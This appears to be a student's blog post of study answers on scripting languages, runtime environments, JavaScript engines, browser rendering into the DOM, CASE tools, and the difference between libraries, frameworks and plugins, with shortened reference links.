A scripting language is a type of language that is designed to integrate and communicate with other programming languages. Examples of commonly used scripting languages include JavaScript, VBScript, PHP among others. There are mostly used in conjunction with other languages, either programming or markup languages. For example, PHP which is a scripting language is mostly used in conjunction with HTML. It is safe to say that all scripting languages are programming languages, but not all programming languages are scripting languages.

One of the differences between scripting languages and programming languages is in terms of compilation. While it is a must for a programming to be compiled, scripting languages are interpreted without being compiled. It is important to note that scripting languages are interpreted directly from the source code.

Due to the absence of the compilation process, scripting languages are a bit faster than the programming languages. In recent years, we have seen a widespread use of scripting languages in developing the client side of web applications.

References

Images

https://bit.ly/2V1FGiM

Other

https://bit.ly/2V1FGiM

Question 8

Role of the virtual runtime machines.

A runtime system, also called run-time system, runtime environment or run-time environment, primarily implements portions of an execution model. This is not to be confused with the runtime lifecycle phase of a program, during which the runtime system is in operation. Most languages have some form of runtime system that provides an environment in which programs run. This environment may address a number of issues including the layout of application memory, how the program accesses variables, mechanisms for passing parameters between procedures, interfacing with the operating system, and otherwise. The compiler makes assumptions depending on the specific runtime system to generate correct code. Typically the runtime system will have some responsibility for setting up and managing the stack and heap, and may include features such as garbage collection, threads or other dynamic features built into the language.

Example: Java virtual machine

A Java virtual machine (JVM) is a virtual machine that enables a computer to run Java programs as well as programs written in other languages that are also compiled to Java bytecode. The JVM is detailed by a specification that formally describes what is required of a JVM implementation. Having a specification ensures interoperability of Java programs across different implementations so that program authors using the Java Development Kit (JDK) need not worry about idiosyncrasies of the underlying hardware platform.

References

https://bit.ly/2TLEH61

https://bit.ly/2V2lkpz

Question 9

How the JS code is executed (What is the runtime? where do you find the interpreter?)

What is JavaScript? JavaScript is primarily a client-side language. JavaScript started at Netscape, a web browser developed in the 1990s. A webpage can contain embedded JavaScript, which executes when a user visits the page. The language was created to allow web developers to embed executable code on their webpages, so that they could make their webpages interactive, or perform simple tasks. Today, browser scripting remains the main use-case of JavaScript.

The runtime environment provides the built-in libraries that are available to the program at runtime (during execution). So, if you're going to use the Window object or the DOM API in the browser, those would be included in the browser's JS runtime environment. A Node.js runtime includes different libraries, say, the Cluster and FileSystem APIs. Both runtimes include the built-in data types and common facilities such as the Console object.

Chrome and Node.js therefore share the same engine (Google's V8), but they have different runtime (execution) environments.

In a way, the runtime is to the engine what the linker is to the compiler in a traditional compiled language.

Unlike C and other compiled languages, Javascript runs in a container - a program that reads your js codes and runs them. This program must do two things

parse your code and convert it to runnable commands

provide some objects to javascript so that it can interact with the outside world.

The first part is called Engine and the second is Runtime.

For example, the Chrome Browser and node.js use the same Engine - V8, but their Runtimes are different: in Chrome you have the window, DOM objects etc, while node gives you require, Buffers and processes.

A JavaScript interpreter is a program or an engine which executes JavaScript code. A JavaScript engine can be implemented as a standard interpreter, or just-in-time compiler that compiles JavaScript to bytecode in some form.

JavaScript is an interpreted language, not a compiled language. A program such as C++ or Java needs to be compiled before it is run. The source code is passed through a program called a compiler, which translates it into bytecode that the machine understands and can execute. In contrast, JavaScript has no compilation step. Instead, an interpreter in the browser reads over the JavaScript code, interprets each line, and runs it. More modern browsers use a technology known as Just-In-Time (JIT) compilation, which compiles JavaScript to executable bytecode just as it is about to run.

References

https://bit.ly/2SH1eR1

https://bit.ly/2SS7g4n

https://bit.ly/2UVp9g0

https://bit.ly/2wqRanM

https://stanford.io/2J5Rev1

Question 10

How the output of an HTML document is rendered, indicating the tools used to display the output.

A web browser is a piece of software that loads files from a remote server (or perhaps a local disk) and displays them to you — allowing for user interaction.

However, within a browser there exists a piece of software called the browser engine.

Within different browsers, there’s a part of the browser that figures out what to display to you based on the files it receives. This is called the browser engine.

The browser engine is a core software component of every major browser, and different browser manufacturers call their engines by different names.

The browser engine for Firefox is called Gecko, and that of Chrome is called Blink, which happens to be a fork of Webkit. Don’t let the names confuse you. They are just names. Nothing serious.

Browser engine is the key software responsible for what we’re discussing.

Sending & receiving information

This is not supposed to be a computer science networks class, but you may remember that data is sent over the internet as “packets” sized in bytes.

The point I’m trying to make is that when you write some HTML, CSS and JS, and attempt to open the HTML file in your browser, the browser reads the raw bytes of HTML from your hard disk (or network).

The browser reads the raw bytes of data, and not the actual characters of code you have written.

The browser receives the bytes of data but it can’t really do anything with it.

The raw bytes of data must be converted to a form it understands.

This is the first step.

From raw bytes of HTML to DOM

What the browser object needs to work with is a Document Object Model (DOM) object.

So, how is the DOM object derived?

Well, pretty simple.

Firstly, the raw bytes of data are converted into characters.

You may see this with the characters of code you have written. This conversion is done based on the character encoding of the html file.

At this point, the browser’s gone from raw bytes of data to the actual characters in the file.

Characters are great, but they aren’t the final result.

These characters are further parsed into something called tokens.

So, what are these tokens?

A bunch of characters in a text file does not do the browser engine a lot of good.

Without this tokenization process, the bunch of characters will just result in a bunch of meaningless text i.e html code — that doesn’t produce an actual website.

When you save a file with the .html extension, you signal to the browser engine to interpret the file as an html document. The way the browser “interprets” this file is by first parsing it.

In the parsing process, and particularly during tokenization, every start and end html tags in the file are accounted for.

The parser understands each string in angle brackets e.g "<html>", "<p>", and understands the set of rules that apply to each of them. For example, a token that represents an anchor tag will have different properties from one that represents a paragraph token.

Conceptually, you may see a token as some sort of data structure that contains information about a certain html tag. Essentially, an html file is broken down into small units of parsing called tokens. This is how the browser begins to understand what you’ve written.

Tokens are great, but they are also not our final result.

After the tokenization is done, the tokens are then converted into nodes.

You may think of nodes as distinct objects with specific properties. In fact, a better way to explain this is to see a node as a separate entity within the document object tree.

Nodes are great, but they still aren’t the final results.

Now, here’s the final bit.

Upon creating these nodes, the nodes are then linked in a tree data structure known as the DOM.

The DOM establishes the parent-child relationships, adjacent sibling relationships etc.

The relationship between every node is established in this DOM object.

Now, this is something we can work with.

If you remember from web design 101, you don’t open the CSS or JS file in the browser to view a webpage. No. You open the HTML file, most times in the form index.html

This is exactly why you do so: the browser must go through transforming the raw bytes of html data into the DOM before anything can happen.

Depending on how large the html file is, the DOM construction process may take some time. No matter how small, it does take some time (no matter how minute) regardless of the file size.

References

https://bit.ly/2E4iehe

Question 11

Different types of CASE tools, Workbenches, and Environments for different types of software systems (web-based systems, mobile systems, IoT systems, etc.)

Types of CASE tools

Classic CASE tools - established software development support tools (e.g. interactive debuggers, compilers, etc.)

Real CASE tools - can be separated into three different categories, depending on where in the development process they are most involved in:

Upper - support analysis and design phases

Lower - support coding phase

Integrated - also known as I-CASE support analysis, design and coding phases

Upper and lower CASE tools are named as such because of where the phases they support are in the Waterfall Model (see below)

References

https://fla.st/2N98YsT

https://bit.ly/2tmwXvF

Question 12

Difference between framework, library, and plugin, giving some examples.

Library vs framework

The key difference between a library and a framework is "Inversion of Control". When you call a method from a library, you are in control. But with a framework, the control is inverted: the framework calls you.

A library is just a collection of class definitions. The reason behind is simply code reuse, i.e. get the code that has already been written by other developers. The classes and methods normally define specific operations in a domain specific area. For example, there are some libraries of mathematics which can let developer just call the function without redo the implementation of how an algorithm works.

In framework, all the control flow is already there, and there's a bunch of predefined white spots that you should fill out with your code. A framework is normally more complex. It defines a skeleton where the application defines its own features to fill out the skeleton. In this way, your code will be called by the framework when appropriately. The benefit is that developers do not need to worry about if a design is good or not, but just about implementing domain specific functions.

Frameworks vs plugins

Frameworks provide functionality, which programs must be written to use; plugins extend something else's functionality, usually in a way that doesn't require rewriting existing programs to use. You may well use both, with a framework that provides a basic interface and plugins that add functionality to the interface.

Library vs plugins

The main difference between plugin and library is that a plugin is an extension that improves the capabilities of an application while a library is a collection of classes and functions that helps to develop a software.

EXAMPLES:

Framework.

Popular examples include ActiveX and .NET for Windows development, Cocoa for Mac OS X, Cocoa Touch for iOS, and the Android Application Framework forAndroid. Software development kits (SDKs) are available for each of these frameworks and include programming tools designed specifically for the corresponding framework.

Plugins

Web browsers have historically allowed executables as plug-ins, though they are now mostly deprecated. (These are a different type of software module than browser extensions.) Two plug-in examples are the Adobe Flash Player for playing videos and a Java virtual machine for running applets.

library

library is a collection of non-volatile resources used by computer programs, often for software development. These may include configuration data, documentation, help data, message templates, pre-written code and subroutines, classes, values or type specifications. In IBM's OS/360 and its successors they are referred to as partitioned data sets.

References

https://bit.ly/2eL9dI8

https://bit.ly/2TLVFkG

https://bit.ly/2BF8LJo

https://bit.ly/2GGkACF

https://bit.ly/2X6AQlW

https://bit.ly/2T07G9f

1 note · View note